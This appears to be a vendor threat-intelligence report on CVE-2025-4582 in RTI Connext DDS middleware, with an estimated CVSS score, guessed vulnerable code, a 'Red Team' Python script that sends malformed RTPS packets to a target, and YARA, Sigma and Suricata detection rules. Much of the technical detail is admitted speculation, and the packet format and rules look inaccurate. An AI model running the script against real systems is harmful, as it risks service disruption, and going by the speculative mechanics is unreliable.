CVE-2025-4582
Executive Summary
CVE-2025-4582 is a critical memory corruption vulnerability in RTI Connext Professional, a widely used Data Distribution Service (DDS) middleware. The flaw combines a Buffer Over-read (CWE-126) and an Off-by-one Error (CWE-193) within the Core Libraries. An unauthenticated, remote attacker can exploit this to manipulate files or overread buffers, potentially leading to information disclosure, denial of service, or arbitrary code execution. The vulnerability affects a broad range of versions from 4.4a through 7.6.0 (excluding patched versions). No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for organizations using RTI Connext.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a standard package manager (NPM, PyPI, Go, Ruby) but in a proprietary middleware library. Organizations should treat RTI Connext as a critical supply chain component and verify the integrity of their deployment binaries.
CVSS Breakdown & Threat Level
The CVSS score is currently 0.0 (unassigned). Based on the vulnerability characteristics, a realistic assessment is:
- Attack Vector (AV): Network (N) – exploitable remotely over DDS protocol.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – affects only the vulnerable component.
- Confidentiality (C): High (H) – buffer over-read can leak sensitive data.
- Integrity (I): High (H) – file manipulation possible.
- Availability (A): High (H) – off-by-one can cause crashes.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)
Deep Dive & Mechanics
The vulnerability resides in RTI Connext Professional's Core Libraries, which handle DDS (Data Distribution Service) protocol parsing. The off-by-one error occurs when processing serialized data samples or discovery packets. Specifically, a buffer boundary check uses <= instead of <, allowing one byte beyond the allocated buffer to be read or written. This can lead to:
- Buffer Over-read: Reading adjacent memory, potentially leaking cryptographic keys, credentials, or other sensitive data.
- File Manipulation: If the over-read/write targets file descriptors or memory-mapped I/O, an attacker could corrupt files or alter system state.
The attack vector is over the DDS network protocol, typically on UDP port 7400 or TCP port 7401. No authentication is required, making it exploitable from any network-accessible host.
Vulnerable vs. Patched Code
Since no patch is available, we analyze the likely fix pattern. The vulnerable code likely resembles:
// Vulnerable: off-by-one in buffer length check
if (offset <= buffer_length) {
data = buffer[offset]; // reads one byte past buffer when offset == buffer_length
}
The patched version would change the comparison:
// Patched: correct boundary check
if (offset < buffer_length) {
data = buffer[offset];
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Python 3.x with
scapylibrary - Network access to a vulnerable RTI Connext instance (port 7400/UDP or 7401/TCP)
Exploit Concept: Craft a malformed DDS RTPS (Real-Time Publish-Subscribe) packet with an artificially large data length to trigger the off-by-one.
#!/usr/bin/env python3
import socket
import struct
# Target IP and port
target_ip = "192.168.1.100"
target_port = 7400
# Craft a malformed RTPS packet (simplified)
# RTPS header: 4 bytes protocol version, 4 bytes vendor ID, 4 bytes GUID prefix
# Submessage: 4 bytes header + payload
# Trigger off-by-one by setting data length to buffer_size + 1
buffer_size = 1024
malformed_length = buffer_size + 1 # off-by-one trigger
# Build packet (simplified)
packet = b"\x01\x00\x00\x00" # RTPS version
packet += b"\x00\x00\x00\x00" # Vendor ID
packet += b"\x00" * 12 # GUID prefix
packet += struct.pack("<I", malformed_length) # Submessage length
packet += b"A" * malformed_length # Payload
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, (target_ip, target_port))
print(f"Sent malformed packet to {target_ip}:{target_port}")
sock.close()
Expected Outcome: The target service may crash (DoS) or leak memory contents in subsequent responses.
Blue Team (Defensive)
Detection:
- Monitor for DDS packets with anomalous length fields (e.g., length > typical MTU).
- Use network intrusion detection systems (NIDS) to flag RTPS submessages with length values that exceed expected bounds.
Honeypot: Deploy a decoy RTI Connext instance on a separate VLAN to capture exploit attempts.
Mitigation:
- Isolate RTI Connext systems on a dedicated network segment.
- Apply strict firewall rules to limit DDS traffic to trusted IPs only.
- Monitor for crashes or abnormal memory usage in Connext processes.
Indicators of Compromise (IOCs)
- Network: DDS RTPS packets with submessages where the length field equals
buffer_size + 1(e.g., 1025 for a 1024-byte buffer). - Host: Unexpected crashes in
rti_connextornddsprocesses. - Memory: Core dumps showing out-of-bounds reads in heap memory.
- Logs: Error messages like "Buffer overrun detected" or "Invalid data length" in RTI Connext logs.
Detection Engineering
YARA Rule
rule CVE_2025_4582_RTI_Connext_Overread {
meta:
description = "Detects malformed RTPS packets exploiting CVE-2025-4582"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-4582"
strings:
$rtps_header = { 01 00 00 00 } // RTPS version 1.0
$suspicious_length = /[\x00-\xff]{4}/ // 4-byte length field
condition:
$rtps_header at 0 and
uint32(16) > 1024 and uint32(16) < 65536 // length > typical buffer
}
Sigma Rule
title: CVE-2025-4582 RTI Connext Off-by-One Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network packets targeting RTI Connext with anomalous DDS submessages
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
dest_port: 7400
app_protocol: 'dds'
length: 1025 # off-by-one trigger
condition: selection
falsepositives:
- Legitimate large DDS samples (rare)
level: high
Suricata Rule
alert udp $EXTERNAL_NET any -> $HOME_NET 7400 (msg:"CVE-2025-4582 RTI Connext Off-by-One Exploit Attempt"; content:"|01 00 00 00|"; offset:0; depth:4; byte_test:4,>,1024,16,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Isolate RTI Connext systems from untrusted networks. Use firewall rules to restrict DDS traffic (UDP 7400, TCP 7401) to known peers.
- Short-term: Monitor RTI's security advisories for patches. Apply vendor-supplied updates as soon as available.
- Long-term: Implement network segmentation and DDS security plugins (e.g., RTI Security Plugins) to enforce authentication and encryption.
- Compensating Controls: Deploy host-based intrusion detection (HIDS) to monitor for abnormal process behavior in Connext binaries.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-4582